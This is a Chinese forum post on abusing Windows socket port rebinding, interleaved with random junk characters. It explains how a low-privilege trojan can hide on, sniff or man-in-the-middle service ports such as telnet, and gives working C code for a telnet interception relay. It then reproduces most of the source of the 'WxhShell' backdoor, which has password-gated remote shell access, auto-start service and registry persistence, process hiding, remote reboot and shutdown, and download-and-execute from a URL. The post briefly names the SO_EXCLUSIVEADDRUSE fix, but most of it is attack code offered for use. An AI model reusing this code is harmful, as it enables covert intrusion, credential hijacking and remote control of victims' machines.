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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4*YOFU}l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X!2.IsIS8  
1Q0%7zRirI  
  saddr.sin_family = AF_INET; ;7wwY$PBH  
;!^ +N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ./'; P <)  
(v|ixa  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); p"g1V7B  
D8q3TyCj%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rd .U;>  
J.*[gt%O|  
  这意味着什么?意味着可以进行如下的攻击: 0I(uddG3  
y @]8Ep  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5#yJK>a7  
@*bvMEE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d?Ia#K9 3G  
:~WPY9i`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $^!a`Xr  
x:=0.l#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  AlA h S<  
|E"Xavi>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xs{:[vRW  
=W;t@"6>2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TEH*@~P"  
N)9pz?*V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %"1` NT  
bnA T,v{  
  #include YJ &lB&xH  
  #include 2]?w~qjWm  
  #include / c4;3>I S  
  #include    !G+n"-h9'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aW52.X z%8  
  int main() j|3g(_v4W  
  { o+]Y=r2  
  WORD wVersionRequested; 5HWwl.D  
  DWORD ret; fF8a 1XV  
  WSADATA wsaData; -d$8WSI 8  
  BOOL val; MLkL.1eGSb  
  SOCKADDR_IN saddr; >cGh|_9  
  SOCKADDR_IN scaddr; J- @o@!o  
  int err; ?/o2#iJx  
  SOCKET s; /%N31   
  SOCKET sc; p?J~'  
  int caddsize; vjOG?-  
  HANDLE mt; %igFHh?  
  DWORD tid;   GInZ53cQ  
  wVersionRequested = MAKEWORD( 2, 2 ); *F26}q  
  err = WSAStartup( wVersionRequested, &wsaData ); &CB.*\0  
  if ( err != 0 ) { hqhu^.}]  
  printf("error!WSAStartup failed!\n"); f:x9Y{Y  
  return -1; T% /xti5$!  
  } >N+bU{s  
  saddr.sin_family = AF_INET; -13P 2<i+  
   WH pUjyBP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PK:o}IWn~x  
1q}u?7nnSG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =j'J !M  
  saddr.sin_port = htons(23); r`&2-]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vF*^xhh  
  { 0?J|C6XM#4  
  printf("error!socket failed!\n"); ? 6yF{!F*  
  return -1; 0)6i~MglY  
  } IGh !d?D  
  val = TRUE; Z@>=&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 pmow[e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) + d+hvwEM  
  { 5 WN`8?  
  printf("error!setsockopt failed!\n"); pJ 2:` f<;  
  return -1; Z1)jRE2dl  
  } v&[X&Hu[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F #!@}K8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =|qt!gY)Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XEvGhy#  
<WQ<<s@#pb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) avHD'zU}N  
  { d'lr:=GQ  
  ret=GetLastError(); 7\\~xSXh  
  printf("error!bind failed!\n"); ex@,F,u>o  
  return -1; h a,=LV  
  } yL.PGF1(  
  listen(s,2); ] dm1Qm  
  while(1) EMVoTW)z  
  { =ELDJt  
  caddsize = sizeof(scaddr); xzMeKC `  
  //接受连接请求 D^N#E>,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); K#JabT  
  if(sc!=INVALID_SOCKET) Cu ['&_@  
  { dIBKE0`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jE?\Yv3  
  if(mt==NULL) p,[XT`q^  
  { (^s&M  
  printf("Thread Creat Failed!\n"); 4BduUH  
  break; /A[oj2un  
  } y'0dl "Dy\  
  } !ho5VA t  
  CloseHandle(mt); |&0"N[t  
  } v3hQv)j)  
  closesocket(s); St~SiTJU  
  WSACleanup(); !%Hl#Pv}  
  return 0; (A]m=  
  }   k+7M|t.?4  
  DWORD WINAPI ClientThread(LPVOID lpParam) R$T[%AGZ.  
  { Wd^F%)(  
  SOCKET ss = (SOCKET)lpParam; Bah.\ZsYQP  
  SOCKET sc;  ^ :  
  unsigned char buf[4096]; oM18aR&  
  SOCKADDR_IN saddr; #iR yjD  
  long num; @o3R`ZgC]\  
  DWORD val; +LI*!(T|lm  
  DWORD ret; 5E\<r /FeJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jm);|#y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9znx1AsN  
  saddr.sin_family = AF_INET; |=^#d\?]j  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); mNnw G);$  
  saddr.sin_port = htons(23); \AtwO  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Kl46CZs#8  
  { HM$`z"p5jg  
  printf("error!socket failed!\n"); MWn L#!  
  return -1; mSk :7ozZ  
  } }{kTh%^  
  val = 100; aG8D%i0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O{i_?V_  
  { &JXHDpd$a^  
  ret = GetLastError(); bWQORjnd8  
  return -1; fw:^Lyn9$  
  } \@}$Wjsl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O)RzNfI^`N  
  { JV?RgFy  
  ret = GetLastError(); @aiLG wh  
  return -1; rs 1*H  
  } "k6IV&0 3x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) picP_1L  
  { "$V8y  
  printf("error!socket connect failed!\n"); !6tC[W`  
  closesocket(sc); Gs=a(0 0i?  
  closesocket(ss); OJ_2z|f<  
  return -1; Z1V'NJI+  
  } z?t(+^  
  while(1) O[hbu![  
  { @DQ"vFj6<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !k>H e*M}P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lx:N!RDw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lPFdQ8M  
  num = recv(ss,buf,4096,0); (15Yw9Mv  
  if(num>0) YqY6\ mo  
  send(sc,buf,num,0); Rvz.ym:F  
  else if(num==0) \'LCC-  
  break; 4 _U,-%/  
  num = recv(sc,buf,4096,0); I_6` Z 0  
  if(num>0) iQ]c k-  
  send(ss,buf,num,0); v20I<!5w  
  else if(num==0) 't]EkH]BC  
  break; da?th  
  } !^w\$cw&  
  closesocket(ss); 18/@:u{  
  closesocket(sc); M(h H#_ $  
  return 0 ; \2<yZCn  
  } mN'9|`>V>  
n8OdRv  
w)m0Z4*  
========================================================== 9-E>n)  
55\X\> 0C7  
下边附上一个代码,,WXhSHELL _6-/S!7Y\  
P7x?!71?L  
========================================================== GY$?^&OO>  
V+a%,sI  
#include "stdafx.h" *r?51*J  
+ $a:X  
#include <stdio.h> Obc3^pV&  
#include <string.h> HlL@{<  
#include <windows.h> 2-E71-J  
#include <winsock2.h> {O&liU4  
#include <winsvc.h> dYqDL<se/I  
#include <urlmon.h>  hL{B9?  
ah Xq{>  
#pragma comment (lib, "Ws2_32.lib") 33KPo0g7  
#pragma comment (lib, "urlmon.lib") h'y@M+c(  
[ rQ(ae  
#define MAX_USER   100 // 最大客户端连接数 wIR[2&b  
#define BUF_SOCK   200 // sock buffer "xc*A&Sg  
#define KEY_BUFF   255 // 输入 buffer gAUQQ  
e "adkV  
#define REBOOT     0   // 重启 Z8dN0AqZ  
#define SHUTDOWN   1   // 关机 ]>4Qs  
:XQ  
#define DEF_PORT   5000 // 监听端口 yg[;  
^57fHlw  
#define REG_LEN     16   // 注册表键长度 cKYvRe  
#define SVC_LEN     80   // NT服务名长度 OYtus7q<  
WZ6{(`;#m  
// 从dll定义API &'yV:g3H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <[5${)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !g&B)0u]*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y&Lk4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WfbNar[  
!6/IKh`J  
// wxhshell配置信息 t02"v4_i  
struct WSCFG { l`%} {3r9  
  int ws_port;         // 监听端口 2V"gqJHv  
  char ws_passstr[REG_LEN]; // 口令 5GFnfc}  
  int ws_autoins;       // 安装标记, 1=yes 0=no XK/@!ud"`  
  char ws_regname[REG_LEN]; // 注册表键名 \\G6c4 fC  
  char ws_svcname[REG_LEN]; // 服务名 ,M h/3DPgE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~m|?! ]n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0?Wf\7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PRlo"kN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1&pP}v ?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IC-xCzR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y{?jr$js<  
FuiW\=^  
}; geN%rD  
R:R@sU  
// default Wxhshell configuration )* nbEZm@  
struct WSCFG wscfg={DEF_PORT, P"~T*Qq-R  
    "xuhuanlingzhe", }0nB' 0|y  
    1, _r5Ild @n  
    "Wxhshell", (@o />T  
    "Wxhshell", nJ#@W b@  
            "WxhShell Service", h_G7T1;L  
    "Wrsky Windows CmdShell Service", (dip Ks?K  
    "Please Input Your Password: ", ,h`D(,?X  
  1, t RyGxqiG  
  "http://www.wrsky.com/wxhshell.exe", 6Vzc:8o>  
  "Wxhshell.exe" 2,Dc]oj  
    }; /"{ ,m!  
x,c68Q)g  
// 消息定义模块 ,k!f`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1V3J:W#;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }3_G|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Iw |[*Nu-  
char *msg_ws_ext="\n\rExit."; GO3YXO33  
char *msg_ws_end="\n\rQuit."; HPdwx V  
char *msg_ws_boot="\n\rReboot..."; y8S6ZtA}2  
char *msg_ws_poff="\n\rShutdown..."; GXK?7S0H  
char *msg_ws_down="\n\rSave to "; &&S4x  
eRy'N|'  
char *msg_ws_err="\n\rErr!"; YY<?w  
char *msg_ws_ok="\n\rOK!"; d>98 E9  
BF [?* b  
char ExeFile[MAX_PATH]; S|4/C  
int nUser = 0; K y2xWd8  
HANDLE handles[MAX_USER]; wXGFq3`  
int OsIsNt; |M>k &p,B-  
LHz<=]?@  
SERVICE_STATUS       serviceStatus; W}_}<rlF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HU+H0S~g  
/)4r2x  
// 函数声明 )t ch>.EQ_  
int Install(void); i4r~eneP  
int Uninstall(void); ^JDV4>S\  
int DownloadFile(char *sURL, SOCKET wsh); uWj-tzu  
int Boot(int flag); 76r s)J[*w  
void HideProc(void); j77}{5@p  
int GetOsVer(void); ~MQf($]  
int Wxhshell(SOCKET wsl); k$_]b0D{4  
void TalkWithClient(void *cs); Z|dZc wo  
int CmdShell(SOCKET sock); WA5kX SdIb  
int StartFromService(void); ;l?(VqX_E  
int StartWxhshell(LPSTR lpCmdLine); NS;8&  
I_*>EA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &Q+V I/p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ',j-n$Z^=  
&D w~Jq|  
// 数据结构和表定义 M%^laf  
SERVICE_TABLE_ENTRY DispatchTable[] = 6lAo`S\)eX  
{ be#"517  
{wscfg.ws_svcname, NTServiceMain}, ^!Jm/-  
{NULL, NULL}  /?xn  
}; 9cj-v}5j  
p&l:937  
// 自我安装 k $&A  
int Install(void) B9:0|i!!A`  
{ 2A ,36,  
  char svExeFile[MAX_PATH]; BVp.A]  
  HKEY key; K3D $ hb  
  strcpy(svExeFile,ExeFile); [E7@W[xr  
Jz0S2&  
// 如果是win9x系统,修改注册表设为自启动 tp2 _OQAQ  
if(!OsIsNt) { o9\m? ~g!E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .. TjEBp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <F & hfy  
  RegCloseKey(key); ADz|Y~V!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +[[gU;U"v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hzo,.hS's  
  RegCloseKey(key); :/l   
  return 0; Bys|i0tb-  
    } p'}%pAY  
  } 4344PBj  
} a8aqcDs>O  
else { #8OqX*/  
4O^1gw  
// 如果是NT以上系统,安装为系统服务 r=aQ S5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7Z3qaXPH  
if (schSCManager!=0) ,SwaDWNO  
{ <);u]0  
  SC_HANDLE schService = CreateService Ec 7M'~1  
  ( h8Si,W 3o  
  schSCManager, >GUTno$J  
  wscfg.ws_svcname, [1CxMk~"[  
  wscfg.ws_svcdisp, .utL/1Ej  
  SERVICE_ALL_ACCESS, )^sfEYoA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iL1so+di  
  SERVICE_AUTO_START, P@?CQvMx  
  SERVICE_ERROR_NORMAL, CNYchE,}  
  svExeFile, R"([Y#>m  
  NULL, }2oJ  
  NULL, O 9)8a]  
  NULL, Bx >@HU  
  NULL, Z Uv_u6aD  
  NULL So`"z[5  
  ); R&xd ic!  
  if (schService!=0) ;A!i V |  
  { *2;3~8Y  
  CloseServiceHandle(schService); L 3@wdC ~0  
  CloseServiceHandle(schSCManager); T]2q >N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); heA\6W:u&  
  strcat(svExeFile,wscfg.ws_svcname); jqedHn x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +ETw:i9!?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C\D4C]/8  
  RegCloseKey(key); 0fU>L^P_?  
  return 0; =x>k:l~s  
    } a@J :*W  
  } e?WR={  
  CloseServiceHandle(schSCManager); u*`GIRfWT  
} (p!AX<=z  
} -<=< T@,  
 t m?  
return 1; 5{TF6  
} ]S ,GHPEN  
-NeF6  
// 自我卸载 :Ej)A fS  
int Uninstall(void) EMbsKG  
{ yl%F<5  
  HKEY key; DmsloPB?_  
qW^l2Jff  
if(!OsIsNt) { th,qq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^5}3FvW  
  RegDeleteValue(key,wscfg.ws_regname); pE N`&'4  
  RegCloseKey(key); H(s^le:!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^(:Rbsl  
  RegDeleteValue(key,wscfg.ws_regname); Qafg/JU  
  RegCloseKey(key); b87o6"j  
  return 0; w"|c;E1;_  
  } >0oc=9H8  
} b}*hodzF  
} f *vziC<m  
else { Y~!@  
v%^H9aK_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `( Gk_VAa  
if (schSCManager!=0) fHi+PEbR  
{ PV2904  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W+X zU"l  
  if (schService!=0) f?6=H^_>  
  { bX1ip2X lk  
  if(DeleteService(schService)!=0) { FC#Q tu~J  
  CloseServiceHandle(schService); D=Y HJ>-wB  
  CloseServiceHandle(schSCManager); NYeg,{q  
  return 0; ~@;7}Aag  
  } J4i0+u  
  CloseServiceHandle(schService); sJWwkR  
  } \Wk$>?+#@  
  CloseServiceHandle(schSCManager); Jo0x/+?,+  
} V*~5*OwB  
} XEI]T~  
9^tyjX2  
return 1; :.,I4>b2  
} =Sq7U^(>  
AdNsY/Y(  
// 从指定url下载文件 BJ5#!I%h  
int DownloadFile(char *sURL, SOCKET wsh) "oQ@.]-#  
{ jI%yi-<;  
  HRESULT hr; N.?Wev{  
char seps[]= "/"; ' e@}N)IX  
char *token; i]v!o$7  
char *file; 7^F?key?  
char myURL[MAX_PATH]; 4/4IZfznX  
char myFILE[MAX_PATH]; >/*\x g&J  
@ h]H_  
strcpy(myURL,sURL); vuf|2!kh/  
  token=strtok(myURL,seps); sAb|]Q((  
  while(token!=NULL) Evc 9k  
  { `xSXGI  
    file=token; `W9_LROD  
  token=strtok(NULL,seps); 62"ND+D4  
  } jcj)9;n=!  
Q%a4g  
GetCurrentDirectory(MAX_PATH,myFILE); .JqIAC~  
strcat(myFILE, "\\"); QS_u<B  
strcat(myFILE, file); e/6oC~#]  
  send(wsh,myFILE,strlen(myFILE),0); = 4If7  
send(wsh,"...",3,0); epnDvz\   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ktCh*R[`  
  if(hr==S_OK) eXYR/j<8  
return 0; ll#PCgIm  
else 3Wiu`A  
return 1; t`?FSV  
Q7C'O @  
} &Wba2fD  
D|xSO~M5  
// 系统电源模块 pnD#RvmW2e  
int Boot(int flag) .f}I$ "2  
{ k`-L5#`  
  HANDLE hToken; X7G6y|4;w  
  TOKEN_PRIVILEGES tkp; [# _ceg1G  
2eNm2;  
  if(OsIsNt) { mUjA9[@   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (<ejJPWT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O@[q./VV,  
    tkp.PrivilegeCount = 1; tFGLqR%/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _]\mh,}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +RbCa c  
if(flag==REBOOT) { CB~&!MdMr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FUDM aI  
  return 0; GcKJpI\sB  
} W46sKD;\^W  
else { ~"-wSAm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R}0c O^V  
  return 0; lY~xoHT;[  
} MG~^>  
  } xzy9~))o  
  else { eq"~by[Uq  
if(flag==REBOOT) { QKVZ![Y!s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =$HzEzrw  
  return 0; !u^(<.xJ   
} p5*i d5  
else { X 6>Pq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #i~.wQ $1  
  return 0; t0wLj}"U  
} !_]WUQvV?  
} y"7?]#$9/  
Abj`0\  
return 1; sl)_HA7G  
} "xh]>_;&'  
tUt l>>6Iu  
// win9x进程隐藏模块 a/?gp>M9  
void HideProc(void) GE"#.J4z  
{ JK_sl>v.7  
A}$A~g5 Ap  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vHao y  
  if ( hKernel != NULL ) 7)[4|I  
  { I@[.W!w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y2Tg>_:t   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &359tG0@P  
    FreeLibrary(hKernel); .>&kA f.  
  } o\2#o5#  
lT*Hj.  
return; )'nGuL-w!i  
} * F&C`]  
)u<sEF  
// 获取操作系统版本 7XdLZ4ub  
int GetOsVer(void) Jln dypE  
{ oZ!rK/qoA  
  OSVERSIONINFO winfo; 0E bs-kP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `57ffQR9  
  GetVersionEx(&winfo); H]YPMG<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y\Zx {A[  
  return 1; Uw4KdC  
  else oc>,5 x  
  return 0; N-;e" g  
} /)6<`S(  
s&z+j%;+o  
// 客户端句柄模块 p.&FK'&[0  
int Wxhshell(SOCKET wsl) O']-<E`1k  
{ Z&YW9de@  
  SOCKET wsh; r=<,`_@Y  
  struct sockaddr_in client; l[.RnM[v  
  DWORD myID; 'Aai.PE:  
K5'@$Km  
  while(nUser<MAX_USER) f0}+8JW5h  
{ <SOC  
  int nSize=sizeof(client); IC37f[Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); * r$(lf  
  if(wsh==INVALID_SOCKET) return 1; h9RG?r1  
nO2-fW:9]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H/Y ZwDx,i  
if(handles[nUser]==0) 4Rp2  
  closesocket(wsh); 5 J61PuH   
else h )fi9  
  nUser++; 2t*@P"e!  
  } P$4G2>D8dg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *h$Z:p-g  
S~/zBFo-  
  return 0; {w1sv=$+  
} ?,O{,2}  
O3PE w4yA  
// 关闭 socket &%$r3ePwc  
void CloseIt(SOCKET wsh) `c ^2  
{ c7E=1*C<  
closesocket(wsh); e>=P'  
nUser--; gyondcF  
ExitThread(0); ehPrxIyC  
} 7kp$C?7K  
*am.NH\  
// 客户端请求句柄 C2<!.l  
void TalkWithClient(void *cs) TG~:Cmc  
{ rp (nGiI  
Uo#% f+t  
  SOCKET wsh=(SOCKET)cs; RHZ5f0b4L  
  char pwd[SVC_LEN]; 06|+ _  
  char cmd[KEY_BUFF]; $z)r(N$  
char chr[1]; b)tvXiO1>  
int i,j; $WI=a-;_e  
h/j+ b.|  
  while (nUser < MAX_USER) { l\vtz5L  
_=Ed>2M)no  
if(wscfg.ws_passstr) { ggR@& \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s_}T -%\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k4FxdX  
  //ZeroMemory(pwd,KEY_BUFF); 4W &HUQ?^  
      i=0; ,A T!:&<X  
  while(i<SVC_LEN) { I ww.Nd2  
N:[22`NP  
  // 设置超时 wuSp+?{5k  
  fd_set FdRead; u=JI 1  
  struct timeval TimeOut; RcIGIt  
  FD_ZERO(&FdRead); t."hAvRL  
  FD_SET(wsh,&FdRead); %"Q{|}  
  TimeOut.tv_sec=8; y w)q3zC  
  TimeOut.tv_usec=0; &=oW=g2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a;jXMR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /B73|KB+  
03Pa; n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g .ty#Z=:  
  pwd=chr[0]; R}'kF63u*  
  if(chr[0]==0xd || chr[0]==0xa) { 6Lk<VpAa  
  pwd=0; |r[yMI|VR  
  break; 2 UU5\ jV6  
  } g!;k$`@{E'  
  i++; Mn7nS:  
    } St}j^i  
k\W%^Z  
  // 如果是非法用户,关闭 socket [HGGXgN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >bWx!M]  
} ?kEcYD  
m{4e+&S|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L8("1_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0hnTHlk  
:SjTkfU  
while(1) { ;$gZ?&  
0vbiq  
  ZeroMemory(cmd,KEY_BUFF); u;rK.3o  
uKHkC.g  
      // 自动支持客户端 telnet标准   GP6-5Y"8  
  j=0; E~Eh'>Y(B  
  while(j<KEY_BUFF) { a "uO0LOb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gmkD'CX*A  
  cmd[j]=chr[0]; ij i<+oul  
  if(chr[0]==0xa || chr[0]==0xd) { *$mDu,'8  
  cmd[j]=0; oace!si  
  break; ZWH?=Bk:  
  } W&23M26"{  
  j++; jsL\{I^>  
    } HL-zuZa`Ju  
9N5ptdP.d  
  // 下载文件 9Ps[i)-  
  if(strstr(cmd,"http://")) { ihivJ Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9|#YKO\\i  
  if(DownloadFile(cmd,wsh)) ug*#rpb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `\LhEnIwu  
  else <;}jf*A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a'=C/ s+  
  } 6yEYX'_  
  else { (%*CfR:>  
v3SH+Ej4  
    switch(cmd[0]) { # hvLv  
  QB p`r#{I{  
  // 帮助 v).V&":  
  case '?': { <\uz",e}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pJ kaP  
    break; &iCE/  
  } vM@2C'  
  // 安装 U%oh ?g  
  case 'i': { l1BbL5#1Q>  
    if(Install()) JQ|qg\[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %H OMX{~}#  
    else k{_ Op/k}V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .R5[bXxe7  
    break; dE R#)bGj  
    } z<2!|  
  // 卸载 t}r`~AEa!  
  case 'r': { &E|2-)  
    if(Uninstall()) H>Wi(L7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Ezq}F8Y  
    else F ^& Rg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <X9  T}g  
    break; {.c(Sw}Eo  
    } *h6Lh]7  
  // 显示 wxhshell 所在路径 g}HB|$P7  
  case 'p': { #>~<rcE(  
    char svExeFile[MAX_PATH]; ?Ne@OMc  
    strcpy(svExeFile,"\n\r"); =\CJsS.  
      strcat(svExeFile,ExeFile); H}G=%j0  
        send(wsh,svExeFile,strlen(svExeFile),0); =*EIe z*.x  
    break; 242dT/j  
    } *xm(K +j  
  // 重启 *=UxX ] 0y  
  case 'b': { Pp-\#WJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ie4keVlXc  
    if(Boot(REBOOT)) 9$[I~I#z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qFEGV+  
    else { ~P&Brn"=Rs  
    closesocket(wsh); .KiJq:$H  
    ExitThread(0); WmU5YZ(mAq  
    } WXz'H),R  
    break; ;M,u,KH)/  
    } n#@/A  
  // 关机 VA4>!t)  
  case 'd': { J[E_n;d1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {z)&=v@  
    if(Boot(SHUTDOWN)) u{Jv6K,  
